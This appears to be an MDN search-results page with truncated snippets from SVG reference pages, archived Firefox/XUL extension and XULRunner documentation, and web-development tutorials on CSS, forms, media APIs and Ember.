...!-- upper right path: effect of the "bevel" value --> <path d="m13,5 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="bevel" /> <!-- bottom left path: effect of the "miter-clip" value with fallback to "miter" if not supported.
... --> <path d="m3,11 a2,2 0,0,0 2,-3 a3,3 0 0 1 2,3.5" stroke="black" fill="none" stroke-linejoin="miter-clip" /> <!-- bottom right path: effect of the "arcs" value with fallback to "miter" if not supported.
...And 9 more matches
<feComposite> - SVG: Scalable Vector Graphics
example svg <svg width="330" height="195" viewbox="0 0 1100 650" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <title>example fecomposite - examples of fecomposite operations</title> <desc>four rows of six pairs of overlapping triangles depicting the six different fecomposite operators under different opacity values and different clearing of the back...
... the second set does not wipe out the background, with the result that the background sometimes shines through and is other cases is blended into itself (i.e., "double-counting").</desc> <filter id="overflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backgroundimage" operator="over" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="inflood" filterun...
...its="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backgroundimage" operator="in" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="outflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood flood-color="#ffffff" flood-opacity="1" result="flood"/> <fecomposite in="sourcegraphic" in2="backgroundimage" operator="out" result="comp"/> <femerge> <femergenode in="flood"/> <femergenode in="comp"/> </femerge> </filter> <filter id="atopflood" filterunits="objectboundingbox" x="-5%" y="-5%" width="110%" height="110%"> <feflood floo...
...And 9 more matches
<metadata> - SVG: Scalable Vector Graphics
WebSVGElementmetadata
example <svg width="400" viewbox="0 0 400 300" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <metadata> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:connect="http://www.w3.org/1999/08/29-svg-connections-in-rdf#"> <rdf:description about="#cablea"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#co...
...mputera"/> </rdf:description> <rdf:description about="#cableb"> <connect:ends rdf:resource="#socket2"/> <connect:ends rdf:resource="#computerb"/> </rdf:description> <rdf:description about="#cablen"> <connect:ends rdf:resource="#socket5"/> <connect:ends>everything</connect:ends> </rdf:description> <rdf:description about="#hub"> <connect:ends rdf:resource="#socket1"/> <connect:ends rdf:resource="#socket2"/> <connect:ends rdf:resource="#socket3"/> <connect:ends rdf:resource="#socket4"/> <connect:ends rdf:resource="#socket5"/> </rdf:description> </rdf:rdf> </metadata> <title>network</title> <desc>an example of a computer network based on a hub.</desc> <style> svg { ...
...used by hub symbol --> <symbol id="hubplug"> <desc>a 10baset/100basetx socket</desc> <path d="m0,10 h5 v-9 h12 v9 h5 v16 h-22 z"/> </symbol> <!-- hub symbol --> <symbol id="hub"> <desc>a typical 10baset/100basetx network hub</desc> <text x="0" y="15">hub</text> <g transform="translate(0 20)"> <rect width="253" height="84"/> <rect width="229" height="44" x="12" y="10"/> <circle fill="red" cx="227" cy="71" r="7" /> <!-- five groups each using the defined socket --> <g ...
...And 9 more matches
Modules - Archive of obsolete content
however, the following example shows how it can be used to load scripts from other locations: const { classes: cc interfaces: ci } = components; var instance = cc["@mozilla.org/moz/jssubscript-loader;1"]; var loader = instance.getservice(ci.mozijssubscriptloader); function loadscript(url) { loader.loadsubscript(url); } when a script is loaded, it is evaluated in the scope of the global object of the script that loaded it.
... any property defined on the global object will be accessible from both scripts: // index.js: loadscript("www.foo.com/a.js"); foo; // => 3 // a.js: foo = 3; exporting names the script loader we obtained from the components object allows us load scripts from other locations, but its api is rather limited.
...this becomes a problem when two scripts try to define the same property: // index.js: loadscript("www.foo.com/a.js"); loadscript("www.foo.com/b.js"); foo; // => 5 // a.js: foo = 3; // b.js: foo = 5; in the above example, the value of foo depends on the order in which the subscripts are loaded: there is no way to access the property foo defined by "a.js", since it is overwritten by "b.js".
...And 8 more matches
windows - Archive of obsolete content
here's an example converting from a high-level browserwindow to a chrome window, and then back the other way: var { modelfor } = require("sdk/model/core"); var { viewfor } = require("sdk/view/core"); var browserwindows = require("sdk/windows").browserwindows; function converttochromeandback(browserwindow) { // get the chrome window for this browserwindow var chromewindow = viewfor(browserwindow); // now we can use the chrome window api console.log(chromewindow.document.location.href); // -> "chrome://browser/content/brow...
...ser.xul" // convert back to the high-level window var highlevelwindow = modelfor(chromewindow); // now we can use the sdk's high-level window api console.log(highlevelwindow.title); } browserwindows.on("open", converttochromeandback); note that directly accessing low-level chrome objects like this means you're no longer protected by the compatibility guarantees made by the sdk's high-level apis.
... var windows = require("sdk/windows").browserwindows; // open a new window.
...And 8 more matches
io/file - Archive of obsolete content
for now, you need to require("chrome") and use the xpcom directory service as described in this article about file i/o.
...for example, to specify the file at c:\users\myk, you need to use the string "c:\\users\\myk", not "c:\users\myk".
...for example, basename("/foo/bar/baz") returns "baz".
...And 8 more matches
Sidebar - Archive of obsolete content
// toggle the bookmarks sidebar (close it if it's open or // open it if it's currently closed) sidebarui.toggle("viewbookmarkssidebar"); // show the history sidebar, whether it's hidden or already showing sidebarui.show("viewhistorysidebar"); // hide the sidebar, if one is showing sidebarui.hide(); avoid opening the sidebar on startup.
... users have been known to complain about this "feature", and if two or more extensions try to open their sidebars on startup, the user will see a flurry of sidebars opening and closing with which ever extension going last "winning".
... web panels sidebar content such as web pages can be safely loaded as sidebar in the "viewwebpanelssidebar".
...And 8 more matches
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
note: to look at the firefox 3 source code, choose "firefox 3" in the starting points list.
... for firefox 3.5 choose "mozilla 1.9.1." for the current development trunk of firefox, choose "mozilla central" and for thunderbird, choose "comm.
... central".
...And 8 more matches
Appendix D: Loading Scripts - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <!doctype overlay> <overlay id="script-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript;version=1.8" src="overlay.js"/> </overlay> evalinsandbox the components.utils.evalinsandbox method may be used to load arbitrary code into components.utils.sandbox objects.
...in stack traces, the script will appear to have been loaded from the file "zz-9://plural/zed/alpha", line 42.
... wantxrays: true }); // the script that will be executed: let script = string(); // evaluate the script: components.utils.evalinsandbox(script, sandbox, // the javascript version "1.8", // the apparent script filename: "zz-9://plural/zed/alpha", // the apparent script starting line number: 42); the following code will execute a simple script loaded from a local file in the same directory as the current script.
...And 8 more matches
Setting up an extension development environment - Archive of obsolete content
on ubuntu (and many other linux distributions): /usr/bin/firefox -no-remote -p dev on other distributions of linux/unix: /usr/local/bin/firefox -no-remote -p dev on macos mavericks (10.9) and newer: /applications/firefox.app/contents/macos/firefox-bin -no-remote -p dev & on windows: start -> run "%programfiles%\mozilla firefox\firefox.exe" -no-remote -p dev on windows 64 bit: start -> run "%programfiles(x86)%\mozilla firefox\firefox.exe" -no-remote -p dev to start thunderbird or seamonkey instead of firefox, substitute thunderbird, or seamonkey for the firefox used in our examples.
...choose default and uncheck "don't ask at startup" checkbox.
... click "start firefox".
...And 8 more matches
Using Dependent Libraries In Extension Components - Archive of obsolete content
note that the "real" component is no longer in the components/ directory, it is in the libraries/ directory.
... include $(depth)/config/autoconf.mk module = bsmedberg library_name = bsmedberg_stub is_component = 1 force_shared_lib = 1 requires = \ xpcom \ string \ $(null) cppsrcs = bdsstubloader.cpp extra_dso_ldopts += \ $(dist)/lib/$(lib_prefix)xpcomglue_s.$(lib_suffix) \ $(xpcom_frozen_ldopts) \ $(nspr_libs) \ $(null) include $(topsrcdir)/config/rules.mk defines += -dmoz_dll_prefix=\"$(dll_prefix)\" extensions/stub/bdsstubloader.cpp // copyright (c) 2005 benjamin smedberg <benjamin@smedbergs.us> #include "nscore.h" #include "nsmodule.h" #include "prlink.h" #include "nsilocalfile.h" #include "nsstringapi.h" #include "nscomptr.h" static char const *const kdependentlibraries[] = { // dependent1.dll on windows, libdependent1.so on linux moz_dll_prefix "dependent1" moz_dll_s...
...uffix, moz_dll_prefix "dependent2" moz_dll_suffix, nsnull // note: if the dependent libs themselves depend on other libs, the subdependencies // should be listed first.
...And 8 more matches
Monitoring downloads - Archive of obsolete content
the result is a window you can open by choosing "download log" in the tools menu, which lists all downloads that have been started since you installed the extension.
... onload: function() { // initialization code this.initialized = true; this.strings = document.getelementbyid("downloadlogger-strings"); this.dlmgr = components.classes["@mozilla.org/download-manager;1"] .getservice(components.interfaces.nsidownloadmanager); this.dlmgr.addlistener(downloadlogger); // open the database, placing its file in the profile directory this.dbfile = components.classes["@mozilla.org/file/directory_service;1"] .getservice(...
...components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); this.dbfile.append("downloadlogger.sqlite"); // get access to the storage service and open the database this.storageservice = components.classes["@mozilla.org/storage/service;1"] .getservice(components.interfaces.mozistorageservice); var dbconn = this.storageservice.opendatabase(this.dbfile); // now create the table; if it already exists, this fails, but we don't care!
...And 8 more matches
Tamarin build documentation - Archive of obsolete content
make sure its name is just "openssl".
... - find the two instances of "android-ndk" and make sure they match your ndk's name (they should already).
...vs_home_path="/cygdrive/c/program files/microsoft visual studio 9.0" vs_home="c:\program files\microsoft visual studio 9.0" export path="$vs_home_path/common7/ide:$vs_home_path/vc/bin:$vs_home_path/common7/tools:$vs_home_path/vc/vcpackages:$path" export include="$vs_home\vc\atlmfc\include;$vs_home\vc\include;c:\program files\microsoft sdks\windows\v6.0a\include;" export lib="$vs_home\vc\atlmfc\lib;$vs_home\vc\...
...And 8 more matches
Using Breakpoints in Venkman - Archive of obsolete content
the first, and most common, is called the "hard" breakpoint.
...hard breakpoints can only exist in the context of a function currently "live" in the browser.
...the second type of breakpoint, the "future" breakpoint, represents a promise from venkman to set a hard breakpoint as soon as it is possible.
...And 8 more matches
Sorting and filtering a custom tree view - Archive of obsolete content
sort.xul <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <!doctype window> <window title="sorting a custom tree view example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="init()"> <script type="application/javascript" src="sort.js"/> <hbox align="center" id="search-box"> <label accesskey="f" control="filter">filter</label> <textbox id="f...
...ilter" oninput="inputfilter(event)" flex="1"/> <button id="clearfilter" oncommand="clearfilter()" label="clear" accesskey="c" disabled="true"/> </hbox> <tree id="tree" flex="1" persist="sortdirection sortresource" sortdirection="ascending" sortresource="description"> <treecols> <treecol id="name" label="name" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator" sortdirection="ascending"/> <splitter class="tree-splitter"/> <treecol id="description" label="description" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> <splitter class="tree-splitter"/> <treecol id="weapon" label="weapon" flex="1" persist="width ordinal hidden" onclick="sort(this)" class="sortdirectionindicator"/> </treeco...
...ls> <treechildren id="tree-children"/> </tree> </window> sort.js var table = null; var data = null; var tree; var filtertext = ""; function init() { tree = document.getelementbyid("tree"); loadtable(); } //this function is called every time the tree is sorted, filtered, or reloaded function loadtable() { //remember scroll position.
...And 8 more matches
Sorting Results - Archive of obsolete content
<treecol id="name" label="name" sort="?name" flex="1"/> <treecol id="date" label="date" sort="?date" flex="1"/> in this example, the first column will be sorted by the ?name variable and the second column by the ?date variable.
...for rdf datasources, another way to sort by dates is to use the the parsetype="date" construct in the rdf datasource.
...here is a sample of how to specify this in the rdf/xml datasource: <rdf:rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:r="http://www.xulplanet.com/rdf/" xmlns:nc="http://home.netscape.com/nc-rdf#"> <rdf:description rdf:about="http://www.xulplanet.com/ndeakin/images/t/palace.jpg"> <r:date nc:parsetype="date">1125966767295<r:date> </rdf:description> </rdf:rdf> you can also specify parsetype...
...And 8 more matches
Things I've tried to do with XUL - Archive of obsolete content
this means that creating any sort of visual display (not necessarily "ui"; my use case is for creating a calendar time display) that sizes sanely when the user resizes the window is unfortunately very difficult.
... <vbox flex="1"> <box height="30%" flex="1" style="background: green;"/> <box height="20%" flex="1" style="background: red;"/> <box height="50%" flex="1" style="background: blue;"/> </vbox> workaround: no real good ones; the closest i've gotten is to use a div instead of a box container: <html:div style="-moz-box-flex: 1; width: 100%; height: 100%;"> <box style="height: 30%" flex="1" style="background: green;"/> <box style="height: 20%" flex="1" style="background: green;"/> <...
...box style="height: 50%" flex="1" style="background: green;"/> </html:div> using flex="3" flex="2" flex="5" would give the right display visually for the empty boxes; however, flex only applies to how empty space is allocated.
...And 8 more matches
Custom toolbar button - Archive of obsolete content
paste it into the new file: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest" em:name="custom button" em:description="my custom toolbar button" em:creator="my name" em:id="custom-toolbar-button@example.com" em:version="1.0" em:homepageurl="http://developer.mozilla.org/en/docs/...
...custom_toolbar_button" em:iconurl="chrome://custombutton/content/icon.png" > <em:targetapplication><!-- firefox --> <description em:id="{ec8030f7-c20a-464f-9b0e-13a3a9e97384}" em:minversion="1.4" em:maxversion="*" /> </em:targetapplication> <em:targetapplication><!-- thunderbird --> <description em:id="{3550f703-e582-4d05-9a08-453d09bdfdc6}" em:minversion="1.5" em:maxversion="51.0" /> </em:targetapplication> <em:targetapplication><!-- sunbird --> <description em:id="{718e30fb-e89b-41dd-9da7-e25a45638b28}" em:minversion="0.2.9" em:maxversion="99" /> </em:targetapplication> <em:file> <description about="urn:mozilla:extension:custombutton" em:pack...
...age="content/custombutton/" /> </em:file> </description> </rdf> optionally customize the file by changing the name, description and creator.
...And 8 more matches
Adding Methods to XBL-defined Elements - Archive of obsolete content
if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open().
...the general syntax of methods is as follows: <implementation> <method name="method-name"> <parameter name="parameter-name1"/> <parameter name="parameter-name2"/> .
...for example, the following javascript function would be written as an xbl method like so: function getmaximum(num1,num2) { if (num1 <= num2) return num2; else return num1; } xbl: <method name="getmaximum"> <parameter name="num1"/> <parameter name="num2"/> <body> if (num1 &lt;= num2) return num2; else return num1; </body> </method> this function, getmaximum, returns the largest of the values, each passed as a parameter to the method.
...And 8 more matches
Advanced Rules - Archive of obsolete content
the syntax of the content element is as follows: <content uri="?var"/> the question mark indicates that the text following it is a variable.
...let's say you have a list of cities described in the following rdf/xml fragment: <rdf:seq about="http://www.xulplanet.com/rdf/weather/cities"> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/paris"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/manchester"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/melbourne"/> <rdf:li resource="http://www.xulplanet.com/rdf/weather/city/kiev"/> </rdf:seq> <rdf:description about="http://www.xulplanet.com/r...
...df/weather/city/paris"> <cityset:name>paris</cityset:name> </rdf:description> .
...And 8 more matches
Document Object Model - Archive of obsolete content
for example, the following two lines which open a new window are functionally equivalent: window.open("test.xul","_new"); open("test.xul","_new"); when you declare a function or a variable at the top level of a script, that is outside another function, you are actually declaring a property of the global object.
... function gettext(){ return "message"; } alert(gettext()); alert(window.gettext()); thus, if you want to access variables or call a function declared in a script used by another window, you just need to access it using the other window's window object.
... <tree id="results" hidden="true" flex="1"> .
...And 8 more matches
Modifying a XUL Interface - Archive of obsolete content
for example, the following will add a button to a xul window: example 1 : source view <script> function addbutton(){ var abox = document.getelementbyid("abox"); var button = document.createelement("button"); button.setattribute("label","a new button"); abox.appendchild(button); } </script> <box id="abox" width="200"> <button label="add" oncommand="addbutton();"/> </box> this example has two parts a box container element in xul.
...(this is discussed more in the box model pages.) the box element has two attributes "id" and "width".
... the button element has two attributes "label" and "oncommand" a javascript function named "addbutton()" this script first gets a reference to the box with getelementbyid(), which is the container to add a new button to.
...And 8 more matches
dialog - Archive of obsolete content
buttonaccesskeyhelp, buttonalign, buttondir, buttondisabledaccept, buttonlabelaccept, buttonlabelcancel, buttonlabeldisclosure, buttonlabelextra1, buttonlabelextra2, buttonlabelhelp, buttonorient, buttonpack, buttons, defaultbutton, title properties buttons, defaultbutton methods acceptdialog, canceldialog, centerwindowonscreen, getbutton, movetoalertposition examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" buttonlabelcancel="cancel" buttonlabelaccept="save"> <dialogheader title="options" description="my preferences"/> <groupbox> <caption label="colour"/> <radiog...
...roup> <radio label="red"/> <radio label="green" selected="true"/> <radio label="blue"/> </radiogroup> <label value="nickname"/> <textbox/> </groupbox> </dialog> attributes activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground).
... buttonaccesskeyaccept type: string the access key to use for the "accept" button.
...And 8 more matches
prefwindow - Archive of obsolete content
prefer the classical window.opendialog() with the following window features: "chrome,titlebar,toolbar,centerscreen,dialog=yes".
...nt, buttonpack, buttons, defaultbutton, lastselected, onbeforeaccept, ondialogaccept, ondialogcancel, ondialogdisclosure, ondialoghelp, onload, onunload, title, type properties buttons, currentpane, defaultbutton, lastselected, preferencepanes, type methods acceptdialog, addpane, canceldialog, centerwindowonscreen, getbutton, opensubdialog, openwindow, showpane examples <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <prefwindow xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <prefpane id="saveoptions" label="backups"> <preferences> <preference id="pref-backup" name="myapp.mybackups" type="bool"/> <preference id="pref-backupduration" name="myapp.mybackups.duration" type="int"/> </preferences> ...
... <checkbox label="automatically save backups" preference="pref-backup"/> <textbox label="duration:" preference="pref-backupduration"/> </prefpane> </prefwindow> attributes activetitlebarcolor type: color string specify background color of the window's titlebar when it is active (foreground).
...And 8 more matches
Getting started with XULRunner - Archive of obsolete content
one way to achieve this is to run the following script everytime you want to install a new version: firefox_version=`grep -po "\d{2}\.\d+" /usr/lib/firefox/platform.ini` arch=`uname -p` xurl=https://ftp.mozilla.org/pub/mozilla.org/xulrunner/releases/$firefox_version/runtimes/xulrunner-$firefox_version.en-us.linux-$arch.tar.bz2 cd /opt sudo sh -c "wget -o- $xurl | tar -xj" sudo ln -s /opt/xulrunner/xulrunner /usr/bin/xulrunner sudo ln -s /opt/xulrunner/xpcshell /usr/bin/xpcshell you could also save this script to a file ...
...please continue reading to learn the "what", "why" and "how" parts of building a xulrunner application.
...part of this change means the /chrome/chrome.manifest is no longer considered the "root" manifest.
...And 8 more matches
XULRunner tips - Archive of obsolete content
the following prefs must also be set to make the xpinstall dialog, extension manager, and theme manager work: pref("xpinstall.dialog.confirm", "chrome://mozapps/content/xpinstall/xpinstallconfirm.xul"); pref("xpinstall.dialog.progress.skin", "chrome://mozapps/content/extensions/extensions.xul?type=themes"); pref("xpinstall.dialog.progress.chrome", "chrome://mozapps/content/extensions/extensions.xul?type=extensions"); pref("xpinstall.dialog.progress.type.skin", "extension:manager-themes"); pref("xpinstall.dialog...
....progress.type.chrome", "extension:manager-extensions"); pref("extensions.update.enabled", true); pref("extensions.update.interval", 86400); pref("extensions.dss.enabled", false); pref("extensions.dss.switchpending", false); pref("extensions.ignoremtimechanges", false); pref("extensions.logging.enabled", false); pref("general.skins.selectedskin", "classic/1.0"); // nb these point at amo pref("extensions.update.url", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmoreextensionsurl", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmorethemesurl", "chrome://mozapps/locale/extensions/extensions.properties"); if your application is based on gecko 2.0, you need to register a component through the new component registration becau...
... venkman uses "chrome://communicator/skin/" as an alias for "chrome://global/skin/" and this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released.
...And 8 more matches
What is RSS - Archive of obsolete content
this version of rss was never made "final" so it remained only a draft, and never became a replacement for userland's rss 0.92.
...like rss 0.93, this version of rss was never made "final" and was also only a draft, and never became a replacement for userland's rss 0.92.
...in other words, when you syndicate, you are telling everyone something like: "hey everyone, i've got articles that i want everyone to come and read.
...And 8 more matches
Building a Theme - Archive of obsolete content
create the install manifest open the file called install.rdf that you created at the top of your extension's folder hierarchy and put this inside: <?xml version="1.0"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <em:id>sample@example.net</em:id> <em:version>1.0</em:version> <em:type>4</em:type> <!-- target application this theme can install into, with minimum and maximum supported versions.
...in this case, "39.*" indicates that the extension works with firefox 39 and any subsequent 39.x release.
... open up the dom inspector now (located under the "tools" menu), and go to "file->inspect chrome document".
...And 8 more matches
Writing JavaScript for XHTML - Archive of obsolete content
the code looks something like this: <script type="text/javascript"> //<!-- window.alert("hello world!"); //--> </script> solution: the cdata trick this problem usually arises, when inline scripts are included in comments.
... the easy solution is to do away with the commenting entirely: <script type="text/javascript"> window.alert("hello world!"); </script> this will work so long as your code doesn't contain characters which are "special" in xml, which usually means < and &.
... if your code contains either of these, you can work around this with cdata sections: <script type="text/javascript"> <![cdata[ // is the variable a non-negative integer less than 10?
...And 8 more matches
How CSS is structured - Learn web development
you reference an external css stylesheet from an html <link> element: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <link rel="stylesheet" href="styles.css"> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> the css stylesheet file might look like this: h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } the href attribute of the <link> element needs to reference...
...here are three examples: <!-- inside a subdirectory called styles inside the current directory --> <link rel="stylesheet" href="styles/style.css"> <!-- inside a subdirectory called general, which is in a subdirectory called styles, inside the current directory --> <link rel="stylesheet" href="styles/general/style.css"> <!-- go up one directory level, then inside a subdirectory called styles --> <link rel="stylesheet" href="../styles/style.css"> internal stylesheet an internal stylesheet resides within an html document.
... the html for an internal stylesheet might look like this: <!doctype html> <html> <head> <meta charset="utf-8"> <title>my css experiment</title> <style> h1 { color: blue; background-color: yellow; border: 1px solid black; } p { color: red; } </style> </head> <body> <h1>hello world!</h1> <p>this is my first css example</p> </body> </html> in some circumstances, internal stylesheets can be useful.
...And 8 more matches
Your first form - Learn web development
the <form> element all forms start with a <form> element, like this: <form action="/my-handling-form-page" method="post"> </form> this element formally defines a form.
... in terms of html code we need something like the following to implement these form widgets: <form action="/my-handling-form-page" method="post"> <ul> <li> <label for="name">name:</label> <input type="text" id="name" name="user_name"> </li> <li> <label for="mail">e-mail:</label> <input type="email" id="mail" name="user_email"> </li> <li> <label for="msg">message:</label> <textarea id="msg" name="user_message"></textarea> </li> </ul> </form> update your form code t...
...this turns a basic text field into a kind of "intelligent" field that will perform some validation checks on the data typed by the user.
...And 8 more matches
Document and website structure - Learn web development
previous overview: introduction to html next in addition to defining individual parts of your page (such as "a paragraph" or "an image"), html also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column").
... a "typical website" could be structured something like this: html for structuring content the simple example shown above isn't pretty, but it is perfectly fine for illustrating a typical website layout example.
...we use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?
...And 8 more matches
Video and Audio APIs - Learn web development
as we showed in video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video.
... here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls.
...you'll see a number of features; the html is dominated by the video player and its controls: <div class="player"> <video controls> <source src="video/sintel-short.mp4" type="video/mp4"> <source src="video/sintel-short.webm" type="video/webm"> <!-- fallback content here --> </video> <div class="controls"> <button class="play" data-icon="p" aria-label="play pause toggle"></button> <button class="stop" data-icon="s" aria-label="stop"></button> <div class="timer"> <div...
...And 8 more matches
Silly story generator - Learn web development
project brief you have been provided with some raw html/css and a few text strings and javascript functions; you need to write the necessary javascript to turn this into a working program, which does the following: generates a silly story when the "generate random story" button is pressed.
... replaces the default name "bob" in the story with a custom name, only if a custom name is entered into the "enter custom name" text field before the generate button is pressed.
... initial variables and functions: in the raw text file, copy all of the code underneath the heading "1.
...And 8 more matches
Routing in Ember - Learn web development
we'll use it to provide a unique url for each of the three todo views — "all", "active", and "completed".
... at the moment, we already have the "all" page, as we are currently not doing any filtering in the page that we've been working with, but we will need to reorganize it a bit to handle a different view for the "active" and "completed" todos.
... an ember application has a default "application" route, which is tied to the app/templates/application.hbs template.
...And 8 more matches
Ember app structure and componentization - Learn web development
to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out.
...update the application.hbs file again so its content looks like this: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > <section class="main"> <input id="mark-all-complete" class="toggle-all" type="checkbox"> <label for="mark-all-complete">mark all as complete</label> <ul class="todo-list"> <li> <div class="view"> <input ...
... aria-label="toggle the completion of this todo" class="toggle" type="checkbox" > <label>buy movie tickets</label> <button type="button" class="destroy" title="remove this todo" ></button> </div> <input autofocus class="edit" value="todo text"> </li> <li> <div class="view"> <input aria-label="toggle the completion of this todo" class="toggle" type="checkbox" > <label>go to movie</label> <button type="button" class="destroy" title="remove this todo" ></button> </div> <input autofocus class="edit" value="todo ...
...And 8 more matches
Framework main features - Learn web development
the following shows a simple jsx example: const subject = "world"; const header = ( <header> <h1>hello, {subject}!</h1> </header> ); this expression represents an html <header> element with a <h1> element inside.
... when used with react, the jsx from the previous snippet would be compiled into this: var subject = "world"; var header = react.createelement("header", null, react.createelement("h1", null, "hello, ", subject, "!") ); when ultimately rendered by the browser, the above snippet will produce html that looks like this: <header> <h1>hello, world!</h1> </header> handlebars the handlebars templating language is not specific to ember applications, but it is heavily utilized in ember apps.
... given this handlebars template: <header> <h1>hello, {{subject}}!</h1> </header> and this data: { subject: "world" } handlebars will build html like this: <header> <h1>hello, world!</h1> </header> typescript typescript is a superset of javascript, meaning it extends javascript — all javascript code is valid typescript, but not the other way around.
...And 8 more matches
Introduction to automated testing - Learn web development
you can customize it later, but for now it'll look something like this: { "name": "node-test", "version": "1.0.0", "description": "test for npm projects", "main": "index.js", "scripts": { "test": "test" }, "author": "chris mills", "license": "mit" } with this, you are ready to move on.
... note: the * character is a wildcard character — here we're saying "run these tasks when any files of these types are saved.
... to start off with manual testing you need to select the "real time testing" tab from the left navigation menu.
...And 8 more matches
Accessibility Features in Firefox
assistive technology support on windows "i am a full firefox convert with the release of 1.5.
... at my next opportunity, i intend to convert my family over to it too." darren paskell, from window-eyes beta testing list firefox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5.
... keyboard support "mozilla firefox is a web-browser with superior keyboard support." alan cantor, cantor access consulting firefox includes keyboard access to all of its amazing features: browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor.
...And 8 more matches
Theme concepts
add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_frame": "<your_header_image>.<type>" }, "colors": { "frame": "#ffffff", "tab_background_text": "#000" } } } where: "frame": is the heading area background color for your theme.
... "tab_background_text": the color of the text in the heading area.
... depending on the effect you want to create you may need to suppress the mandatory "theme_frame": image with an empty or transparent image.
...And 8 more matches
How to get a stacktrace with WinDbg
(start->all programs->debugging tools for windows->windbg) next, open the "file" menu and choose "open executable...".
... you should now see a "command" text window with debug output at the top and an input box at the bottom.
...windbg will show "busy" at the bottom of the application window until the download is complete.
...And 8 more matches
XPCOMUtils.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained previously.
... mycomponent.prototype = { // properties required for xpcom registration: classdescription: "unique text description", classid: components.id("{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"), contractid: "@example.com/xxx;1", // [optional] custom factory (an object implementing nsifactory).
... category: "some-category", // optional, defaults to the object's classdescription entry: "entry name", // optional, defaults to the object's contractid (unless // 'service' is specified) value: "...", // optional, defaults to false.
...And 8 more matches
Localization content best practices
for example, suppose this string needs to be changed from "event" to "add new event": new-event-header = event add-new-event-header is definitely a better choice for the new string than new-event-header1.
... example: you have chosen a keyword that is currently in use by "%s".
... example: search %1$s for "%2$s" non-directional single, and double, quotation marks should be used in reference to html code, or other languages where ascii character usage is required, such as html.
...And 8 more matches
NSS Sample Code Sample_2_Initialization of NSS
